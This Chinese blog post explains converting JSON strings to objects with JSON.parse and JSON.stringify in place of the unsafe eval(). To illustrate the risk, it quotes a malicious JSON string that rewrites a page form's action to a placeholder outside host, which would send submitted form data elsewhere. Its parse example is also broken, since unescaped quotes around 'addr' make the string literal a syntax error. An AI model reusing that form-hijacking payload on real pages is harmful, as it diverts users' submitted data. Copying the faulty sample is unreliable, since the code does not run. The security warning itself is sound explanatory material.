`
lmh2072005
  • 浏览: 111386 次
  • 性别: Icon_minigender_1
  • 来自: 深圳
社区版块
存档分类
最新评论

JSON对象和字符串

    博客分类:
  • js
阅读更多

JSON和字符串互转在ajax交互中经常用到,以前用过eval("("+jsonText+")") 把接收到的json格式字符串转换为JSON对象。但是用eval()函数存在安全漏洞,因为eval()函数可以解释任何的javascript代码。比如下面的例子:

假设返回的JSON字符串为“[1,2,(function(){document.forms[0].action='http://www.xxx.com/x.aspx'})(),3]”通过eval()函数后就会被执行,页面的第一个表单的action会被恶意修改。

使用JSON对象的stringify()方法和parse()方法可以很好的将两者进行转换 ,不过IE6/7不支持这两个方法。可以引用一个json.js的库解决IE6/7的问题。

其中parse()接收两个参数:json文本和一个可选的过滤函数。过滤函数可以删除或修改对应的key值,针对某个键返回undefined 就会从结果对象中移除该键。

eg:

     var jsonText ="{\"name\":\"jone\",\"age\":25,"addr":"xxx"}";

     var jsonObj = JSON.parse(jsonText,function(key,value){

switch(key){

case "name" : return value+"s";

case "age" : return value + 1;

case "addr" : return undefined;

default : return value;

}

})


stringify()返回未经缩进的JSON字符串。

eg:

JSON.stringify(jsonObj );

json.js下载地址:https://github.com/douglascrockford/JSON-js

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics